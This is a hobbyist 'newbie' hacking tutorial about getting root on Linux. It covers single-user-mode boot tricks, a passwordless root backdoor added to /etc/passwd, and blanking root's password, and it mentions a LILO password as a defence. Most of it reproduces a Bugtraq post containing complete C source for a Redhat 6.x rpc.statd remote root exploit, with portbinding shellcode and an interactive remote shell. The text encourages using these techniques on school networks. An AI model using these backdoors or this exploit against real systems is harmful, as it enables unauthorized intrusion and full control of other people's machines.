
Hacking into Linux (NEWBIE SERIES) By Ankit Fadia ankit@bol.net.in

---

Till now almost all Hacking Truths manuals have been Windows centric. I have always kept the newbie Windows user in mind, while writing manuals. However, with the growing popularity of Linux and the fact that Linux is considered to be the Hacker's OS, I decided to start a *nix series.

Getting Root on a Linux machine

As you read this manual, you will discover that our basic aim always remains the same, i.e. we want to get root. Now, root is nothing but sort of a sort user, who has maximum privileges, and can do whatever he wants to do on a system. 'Root' is to *nix what administrator is to Windows NT. If you get root then you can practically control each and every aspect of the system. You could, remove accounts, delete files, disable daemons, and even format the entire system.

****

NEWBIE NOTE: Getting root is considered to be really really elite especially in schools. If you are able to get root in your school network, then you practically get transformed into a semi-god, but why? Well, the reasons are pretty obvious. Aren't they?

****

OK, I am really interested. How do I do it? Well, in this section, we are not going to run any C program nor are we going to do any kind of coding, but we will simply exploit a small vulnerability existing in a feature which comes with Linux. This will work almost 9 times out of 10, however, if you plan to use this technique to get 'root' on your ISP, then forget it pal. The technique explained below is quite common and the system administrator would probably be smart enough to cover up this security loophole.

Before we move on, there is one thing that you need to keep in mind. i.e. For this to work, you need to have physical access to the target system. Anyway, boot the target system and wait for the LInux LOader or LILO Prompt to come up.

At the LILO prompt type 'linux single' (without Quotes) or 'linux 1' to get the root shell where you can practically do anything.

Once Linux single is running, you get the root shell where you can type can any command which is accepted by the default shell on your system. Now, here, type 'linuxconf'. This will bring up a blue screen, which is the Linux Configuration Utility. Then, click on Users > Root Password. This will allow you to change the root password!!! Yes, you read right, change the root password. Scroll down further, and you could also add new accounts with root privileges.

The linux config utility is certainly not a hole in Linux. It was actually designed to help, if the root password was forgotten.

Well, there is yet another way in which we can get root. In the first method, we typed 'linuxconf' in the bash shell prompt, however, we could type the following to create a new account with root privileges and without any password:

echo "ankit::0:0:::" >> /etc/passwd

This command will basically edit the /etc/passwd file which is the password file which stores the Passwords and Usernames of all accounts on the machine. One thing to remember here is that you can edit the /etc/passwd file only if you are logged in as root, however, in this case we are not logged in as root, but we have booted into linux single which gives us the root shell. Hence, we can still edit it.

Anyway, to understand how exactly the above command works and how it is able to create a new account without a password, we need to learn the /etc/passwd file is structured.

The following is a line from a password file:

ankit:my_password:2:3:Ankit Fadia:/home/ankit:/bin/bash

The above can in turn be broken up into:

Username: ankit

Encrypted Password: my_password

User number: 2

Group Number: 3

Actual Name: Ankit Fadia (Optional)

Home Directory: /home/ankit (Optional)

Type of Shell: /bin/bash (Optional)

In our command, we have not included the optional fields and the password field of a typical password file line. Our command:

echo “ankit::0:0:::” >> /etc/passwd

can be rewritten as:

Username: ankit

Encrypted Password:

User number: 0

Group Number: 0

Actual Name:

Home Directory:

Type of Shell:

This basically creates a new account with root privileges, which can be used as a Backdoor into the system.

****

HACKING TRUTH: If you have enabled, shadow passwords, then the command will change to:

echo “ankit::0:0:::” >> /etc/shadow

A typical line from the password file on a system with Shadow Passwords enabled is as follows:

ankit:*:2:3:Ankit Fadia:/home/ankit:/bin/bash

In a shadowed password file what happens is that the password field is replaced by a ' * ' (The ' * ' is called a token.) such that the encrypted password does not show up in the password file and the list of encrypted passwords is stored in a different file which is not readable by normal users.

****

I have tired the above method on a number of systems, and have found that it works only about 80% of the times. So, after some more fooling around, I came about with yet another method, which till now seems to be foolproof.

Now, as you are in the root shell, launch your favorite editor (eg vi) and open /etc/passwd in it. Now, delete the encrypted text between the first two colons in the line, which contains the entry for root. This, will not create a new account with root privileges, but will change the password of the root, to null. So, basically this will get you a root account without any password. Once, you have removed the encrypted password, at the prompt, type 'init 3' to switch back to the normal start up or else for a graphical start up type: ' init 5'.

Now, say you do not want to create a new account, but want to change the root password so as to teach the system administrator a lesson. What do you do? Well, simply use the passwd command followed by the new password. As you are in the root shell, the root password will change to the new one that you supply.

OK, I get the point; Linux too is not 100% safe, so how can I make it safer? Well, you could password protect linux single. To do so, you have to launch your favorite editor like vi, and open /etc/LILO.conf. Now, add the following line, in a new line, after the first line:

Restricted password_goes_here

(The above is: Restricted followed by a space and following by the password that you choose.)

Now, save and close the editor. At the prompt then type: LILO, to execute the /etc/LILO.conf file, so as to make the changes. Now, the next time, you type linux single, at the LILO prompt, you will be asked the password that you typed in the above file. So this basically acts as another barrier for anyone trying to use the techniques described in this manual, to break into your Linux box. None, of the other functioning of the linux box will be affected.

****

HACKING TRUTH: Well, Aragon (veljkop@ptt.yu) suggested yet another method, which I would like to mention.

1.Go to directory /etc/rc.d

2.In it there should be several files if your lucky there are a bunch of files with similar names rc.1,rc.2...etc. these files are shell scripts which are run each time when the named runnlevel is started. These files are very much similar to autoexec.bat but even more complex you can mess with them to cause interesting results BUT be CAREFULL!). rc.1 is therefore the file for runlevel one

3.Backup it in a file named rc.x (or something else)

4.Copy some other runlevel (runlevel 3 is good) but make sure that the runlevel is multi-user.

5.Make a boot and root(for Slackware) disc (do not skip this) so if anything goes wrong you still have a

runlevel 1

****

Getting root Remotely

The following has been taken from Bugtraq, this exploit is supposed to get you root. However, it has not been tested or verified by me. So give me the feedback.

From: ron1n - <shellcode@HOTMAIL.COM>

Subject: Redhat Linux 6.x remote root exploit

To: BUGTRAQ@SECURITYFOCUS.COM

X-UIDL: ad2856edbbc97d8db5d468ce6eb1f600

Hi,

Included below is an exploit for the recently exposed linux rpc.statd format string vulnerability[0]. I have tailored it towards current Redhat Linux 6.x installations. It can easily be incorporated into attacks against the other vulnerable Linux distributions.

I am not a security expert, but I'll offer my two cents worth: this format string issue, while drawing upon elements of straightforward buffer overflow exploitation, is more insidious and will probably take some time to instill itself in the minds of even security-conscious programmers. Programs like ITS4[1], pscan[2], and grep (heh!) do offer valuable assistance when trying to isolate weak portions of code in a phase one search. However, one thing I've
learnt during my short time researching these things is that the complex interaction between code and data introduces the need for a more extensive line by line audit[3].

This "new" problem will (if it hasn't already) spark a new wave of code reviews
of critical applications, especially those networking daemons and privileged programs which were given the "all clear" in the first sweep (although

history

shows us that a lot of programs somehow slipped through the cracks.) Someone else sent an excellent post about the possibility of "remote debugging" with these format string vulnerabilities. Once again, I'm not speaking out of any authority, but I can say that such an aid to otherwise blind exploitation is indeed a godsend when a host is being probed by a skilled intruder.

You must understand that this particular vulnerability is much harder to exploit than the buffer overflow vulnerabilities that you're probably accustomed to. The problem which will bite you is that if the calculations are not precise, statd crashes with a SIGSEGV. As you've realized by now, brute forcing won't cut it. Also, a successful exploitation will render subsequent attacks fruitless.

I have seen statd running on a great number of linux systems and if you can simulate an attack against a remote system on one of your own boxes, it is *trivial* to exploit that remote system. Despite the shortcoming with the single attempt restriction, it was possible to reduce the exploitation variables down to a SINGLE address for most attacks. The default values for Redhat Linux 6.x work fine for me, so I'm probably fussing over nothing.

Anyway, enjoy the exploit.

ron1n

shellcode@hotmail.com

Sydney, Australia

McDonalds drive-thru guy

[0] http://www.securityfocus.com/

[1] http://www.rstcorp.com/its4/

[2] http://www.striker.ottawa.on.ca/~aland/pscan/

[3] http://www.openbsd.org/

!@#$

/**

*** statdx

*** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)

*** by ron1n <shellcode@hotmail.com>

***

*** July 24, 2000

*** Sydney, Australia

***

*** Oh you prob'ly won't remember me

*** It's prob'ly ancient history

*** I'm one of the chosen few

*** Who went ahead and fell for you

***

*** $ gcc -o statdx statdx.c ; ./statdx -h

***

*** background info

*** ----------

*** rpc.statd is an ONC RPC server that implements the Network Status

*** Monitor RPC protocol to provide reboot notification. It is used by

*** the NFS file locking service (rpc.lockd) when it performs lock

*** recovery.

***

*** Due to a format string vulnerability in a call to syslog() within

*** its logging module, rpc.statd can be exploited remotely by script

*** kids bent on breaking into your Redhat Linux box and defacing your

*** website with crackpot political musings.

***

*** This is not a traditional buffer overflow vulnerability. The data

*** are kept within the bounds of the buffer by means of a call to

*** vsnprintf(). The saved return address can be overwritten indirectly

*** without a contiguous payload. syslog() is given, for the most part,

*** a user-supplied format string with no process-supplied arguments.

*** Our format string will, if carefully constructed, cause the process

*** to cull non-arbitrary addresses from the top of the stack for

*** sequential writes using controlled values. Exploitation requires

*** an executable stack on the target host -- almost invariably the

*** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.

***

*** exploit info

*** ------------

*** You have one shot at this in most situations, so get it right!

***

*** If you know the port number rpc.statd is serving requests on, you

*** can supply the port number on the commandline to bypass the initial

*** portmapper query. This is very useful for hosts which are filtering

*** inbound connections to the portmapper. The default attack protocol

*** is UDP. There is a commandline option to use TCP. Apparently, the

*** dispatcher uses both protocols by default.

***

*** If you're only interested in exploiting a host, then you can safely

*** skip the following information. You'll only need a buffer address

*** to get started. This buffer address will either be one of my canned

*** ones or your own one. It must be precise, and this is where you're

*** likely to experience difficulties with your attacks.

***

```
*** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->
*** |      |
*** %esp    buffer[1024]
***
*** [%x..][%!d][%n][%!d][%n][%!d][%n][%!d][%n][sc]--->
***      |  r  |  r+1 |  r+2 | r+3  |
***
*** buffer  ->  This is the address you'll need (-a and -l options)
*** str     ->  Process-supplied string; 24 bytes long
*** 4       ->  Duplicate dwords to satisfy the %!d specifiers and
***             the double %n when two successive values are equal
*** r       ->  Stack position of saved eip
*** %x..    ->  Wipes the va_list dword and str; 9 by default (-w option)
*** %!d     ->  Used for padding to form an aggregate overwrite value;
***             the exclamation mark denotes a field width. This may
***             or may not be present, depending on the value. An
***             algorithm is used to allow tricky values.
*** %n      ->  Writes overwrite value to the corresponding address
*** sc      ->  Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
```

```
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -r 0x41414141 localhost
*** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \
***              awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024

#define max(a,b) ((a)>(b)?(a):(b))

#define NOP 0x90

/*
** Non-ripped linux IA32 portbinding shellcode.
** port: 39168 ; length: 133 bytes
*/
```

```
char shellcode[] =
"\x31\xc0"                          /* xorl   %eax,%eax            */
/* jmp ricochet ------------------------------------------------------ */
"\xeb\x7c"                          /* jmp    0x7c                 */
/* kungfu: ----------------------------------------------------------- */
"\x59"                             /* popl   %ecx                 */
"\x89\x41\x10"                      /* movl   %eax,0x10(%ecx)      */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08"                      /* movl   %eax,0x8(%ecx)       */
"\xfe\xc0"                         /* incb   %al                  */
"\x89\x41\x04"                      /* movl   %eax,0x4(%ecx)       */
"\x89\xc3"                          /* movl   %eax,%ebx            */
"\xfe\xc0"                         /* incb   %al                  */
"\x89\x01"                          /* movl   %eax,(%ecx)          */
"\xb0\x66"                          /* movb   $0x66,%al            */
"\xcd\x80"                          /* int    $0x80                */
/* ---------------------------------- bind(sd,&sockaddr,16); -------- */
"\xb3\x02"                          /* movb   $0x2,%bl             */
"\x89\x59\x0c"                      /* movl   %ebx,0xc(%ecx)       */
"\xc6\x41\x0e\x99"                  /* movb   $0x99,0xe(%ecx)      */
"\xc6\x41\x08\x10"                  /* movb   $0x10,0x8(%ecx)      */
"\x89\x49\x04"                      /* movl   %ecx,0x4(%ecx)       */
"\x80\x41\x04\x0c"                  /* addb   $0xc,0x4(%ecx)       */
```

```
"\x88\x01"                      /* movb   %al,(%ecx)          */
"\xb0\x66"                      /* movb   $0x66,%al           */
"\xcd\x80"                      /* int    $0x80               */
/* ---------------------------------- listen(sd,blah); ---------- */
"\xb3\x04"                      /* movb   $0x4,%bl            */
"\xb0\x66"                      /* movb   $0x66,%al           */
"\xcd\x80"                      /* int    $0x80               */
/* ---------------------------------- accept(sd,0,16); ---------- */
"\xb3\x05"                      /* movb   $0x5,%bl            */
"\x30\xc0"                      /* xorb   %al,%al             */
"\x88\x41\x04"                    /* movb   %al,0x4(%ecx)       */
"\xb0\x66"                      /* movb   $0x66,%al           */
"\xcd\x80"                      /* int    $0x80               */
/* ---------------------------------- dup2(cd,0); ---------- */
"\x89\xce"                      /* movl   %ecx,%esi           */
"\x88\xc3"                      /* movb   %al,%bl             */
"\x31\xc9"                      /* xorl   %ecx,%ecx           */
"\xb0\x3f"                      /* movb   $0x3f,%al           */
"\xcd\x80"                      /* int    $0x80               */
/* ---------------------------------- dup2(cd,1); ---------- */
"\xfe\xc1"                      /* incb   %cl                 */
"\xb0\x3f"                      /* movb   $0x3f,%al           */
"\xcd\x80"                      /* int    $0x80               */
```

```
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1"                          /* incb   %cl                */
"\xb0\x3f"                          /* movb   $0x3f,%al          */
"\xcd\x80"                          /* int    $0x80              */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e"          /* movl   $0x6e69622f,(%esi)    */
"\xc7\x46\x04\x2f\x73\x68\x41"      /* movl   $0x4168732f,0x4(%esi) */
"\x30\xc0"                          /* xorb   %al,%al            */
"\x88\x46\x07"                      /* movb   %al,0x7(%esi)      */
"\x89\x76\x0c"                      /* movl   %esi,0xc(%esi)     */
"\x8d\x56\x10"                      /* leal   0x10(%esi),%edx    */
"\x8d\x4e\x0c"                      /* leal   0xc(%esi),%ecx     */
"\x89\xf3"                          /* movl   %esi,%ebx          */
"\xb0\x0b"                          /* movb   $0xb,%al           */
"\xcd\x80"                          /* int    $0x80              */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01"                          /* movb   $0x1,%al           */
"\xcd\x80"                          /* int    $0x80              */
/* ricochet: call kungfu ------------------------------------------- */
"\xe8\x7f\xff\xff\xff";             /* call   -0x81              */


enum res
{
```

```
    stat_succ,
    stat_fail
};

struct sm_name
{
    char *mon_name;
};

struct sm_stat_res
{
    enum res res_stat;
    int state;
};

struct type
{
    int type;
    char *desc;
    char *code;
    u_long bufpos;
    int buflen;
    int offset;
```

```
    int wipe;
};

struct type types[] =
{
    {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600,
9},
    {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
    {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
    {0, NULL, NULL, 0, 0, 0, 0}
};

bool_t
xdr_sm_name(XDR *xdrs, struct sm_name *objp)
{
    if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_res(XDR *xdrs, enum res *objp)
{
```

```
    if (!xdr_enum(xdrs, (enum_t *)objp))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
{
    if (!xdr_res(xdrs, &objp->res_stat))
        return (FALSE);
    if (!xdr_int(xdrs, &objp->state))
        return (FALSE);
    return (TRUE);
}

void
usage(char *app)
{
    int i;

    fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n");
    fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);
    fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type]
```

```
<target>\n");
    fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
    fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n");
    fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n");
    fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n");
    fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n");
    fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n");
    fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n");
    fprintf(stderr, "-d\tuse a hardcoded <type>\n");
    fprintf(stderr, "Available types:\n");

    for(i = 0; types[i].desc; i++)
        fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);

    exit(EXIT_FAILURE);
}

void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;
```

```
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "cd /; ls -alF; id;\n", 19, 0);

for(;;)
{

   FD_ZERO(&fds);
   FD_SET(fileno(stdin), &fds);
   FD_SET(sockd, &fds);

   if(select(fmax, &fds, NULL, NULL, NULL) < 0)
   {
      perror("select()");
      exit(EXIT_FAILURE);
   }

   if(FD_ISSET(sockd, &fds))
   {
      bzero(buff, sizeof buff);
      if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
      {
         perror("recv()");
```

```
            exit(EXIT_FAILURE);
        }
        if(!ret)
        {
            fprintf(stderr, "Connection closed\n");
            exit(EXIT_FAILURE);
        }
        write(fileno(stdout), buff, ret);
    }

    if(FD_ISSET(fileno(stdin), &fds))
    {
        bzero(buff, sizeof buff);
        ret = read(fileno(stdin), buff, sizeof buff);
        errno = 0;
        if(send(sockd, buff, ret, 0) != ret)
        {
            if(errno) perror("send()");
            else fprintf(stderr, "Transmission loss\n");
            exit(EXIT_FAILURE);
        }
    }
}
```

```
}

void
connection(struct sockaddr_in host)
{
   int sockd;

   host.sin_port = htons(39168);

   if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
   {
      perror("socket()");
      exit(EXIT_FAILURE);
   }

   if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
   {
      printf("OMG! You now have rpc.statd technique!@#$!\n");
      runshell(sockd);
   }

   close(sockd);
}
```

```
char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
    int i, j, cnt, pad;
    char pbyte, *buff, *ptr;
    u_long retpos;
    u_long dstpos;



    while(bufpos % 4) bufpos--;
    /* buflen + ebp */
    retpos = bufpos + buflen + 4;


/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/


    pbyte = retpos & 0xff;
```

```
    /* Yes, it's 0x24 */
    if(pbyte == 0x00 || pbyte == 0x24)
    {
        fprintf(stderr, "Target address space contains a poison char\n");
        exit(EXIT_FAILURE);
    }

/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/

    /* str */
    cnt = 24;
    /* 1 = process nul */
    buflen -= cnt + 1;

    if(!(buff = malloc(buflen + 1)))
    {
        perror("malloc()");
        exit(EXIT_FAILURE);
    }
```

```
ptr = buff;
memset(ptr, NOP, buflen);

for(i = 0; i < 4; i++, retpos++)
{
   /* junk dword */
   for(j = 0; j < 4; j++)
      *ptr++ = retpos >> j * 8 & 0xff;
   /* r + i */
   memcpy(ptr, ptr - 4, 4);
   ptr += 4; cnt += 8;
}

/* restore */
retpos -= 4;

for(i = 0; i < wipe; i++)
{
   /* consistent calculations */
   strncpy(ptr, "%8x", 3);
   ptr += 3; cnt += 8;
}
```

```
    dstpos = bufpos + offset;


/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/


    for(i = 0; i < 4; i++)
    {
        pad = dstpos >> i * 8 & 0xff;
        if(pad == (cnt & 0xff))
        {
            sprintf(ptr, "%%n%%n");
            ptr += 4; continue;
        }
        else
        {
            int tmp;
            /* 0xffffffff = display count of 8 */
            while(pad < cnt || pad % cnt <= 8) pad += 0x100;
            pad -= cnt, cnt += pad;
            /* the source of this evil */
```

```
            tmp = sprintf(ptr, "%%%dx%%n", pad);
            ptr += tmp;
        }

    }

    *ptr = NOP;
    /* plug in the shellcode */
    memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
    buff[buflen] = '\0';

    printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
    printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
    printf("wiping %d dwords\n", wipe);
    return buff;
}

struct in_addr
getip(char *host)
{
    struct hostent *hs;

    if((hs = gethostbyname(host)) == NULL)
```

```
    {
        herror("gethostbyname()");
        exit(EXIT_FAILURE);
    }

    return *((struct in_addr *) hs->h_addr);
}



int
main(int argc, char **argv)
{
    int ch;
    char *buff;

    CLIENT *clnt;
    enum clnt_stat res;
    struct timeval tv, tvr;
    struct sm_name smname;
    struct sm_stat_res smres;
    struct sockaddr_in addr;

    int type = -1;
```

```
int usetcp = 0;
int timeout = 5;
int wipe = 9;
int offset = 600;
int buflen = 1024;
char *target;
char *sc = shellcode;
u_short port = 0;
u_long bufpos = 0;

int sockp = RPC_ANYSOCK;

extern char *optarg;
extern int optind;
extern int opterr;
opterr = 0;



while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
{
   switch(ch)
   {
      case 't': usetcp = 1; break;
```

```
        case 'p': sscanf(optarg, "%hu", &port); break;
        case 'a': sscanf(optarg, "%lx", &bufpos); break;
        case 'l': buflen = atoi(optarg); break;
        case 'o': offset = atoi(optarg); break;
        case 's': timeout = atoi(optarg); break;
        case 'w': wipe = atoi(optarg); break;
        case 'd': type = atoi(optarg); break;
        default : usage(argv[0]);
    }
}

if(!(target = argv[optind]))
{
    fprintf(stderr, "No target host specified\n");
    exit(EXIT_FAILURE);
}

if(type >= 0)
{
    if(type >= sizeof types / sizeof types[0] - 1)
    {
        fprintf(stderr, "Invalid type\n");
        exit(EXIT_FAILURE);
```

```
    }

    sc = types[type].code;
    bufpos = types[type].bufpos;
    buflen = types[type].buflen;
    offset = types[type].offset;
    wipe = types[type].wipe;
}

if(!bufpos)
{
    fprintf(stderr, "No buffer address specified\n");
    exit(EXIT_FAILURE);
}

bzero(&addr, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = getip(target);

tv.tv_sec = timeout;
tv.tv_usec = 0;
```

```
if(!usetcp)
{
    clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
    if(clnt == NULL)
    {
        clnt_pcreateerror("clntudp_create()");
        exit(EXIT_FAILURE);
    }
    tvr.tv_sec = 2;
    tvr.tv_usec = 0;
    clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
}
else
{
    clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
    if(clnt == NULL)
    {
        clnt_pcreateerror("clnttcp_create()");
        exit(EXIT_FAILURE);
    }
}

/* AUTH_UNIX / AUTH_SYS authentication forgery */
```

```
clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);


buff = wizardry(sc, bufpos, buflen, offset, wipe);
smname.mon_name = buff;


res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
    (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
    (caddr_t) &smres, tv);


if(res != RPC_SUCCESS)
{
    clnt_perror(clnt, "clnt_call()");
    printf("A timeout was expected. Attempting connection to shell..");
    sleep(5); connection(addr);
    printf("Failed\n");
}
else
{
    printf("Failed - statd returned res_stat: (%s) state: %d\n",
            smres.res_stat ? "failure" : "success", smres.state);
}


free(buff);
```

```
    clnt_destroy(clnt);

    return -1;

}
```

Well, that is all for now, hope you enjoyed the first in the Linux Series. This was quite lame and was strictly meant for newbies only, so all your uberhackers, kindly hang on.

Ankit Fadia

ankit@bol.net.in (I answer all my Mail)

To receive tutorials on everything you dreamt of written by Ankit Fadia, join his list, by sending an email to: programmingforhackers-subscribe@egroups.com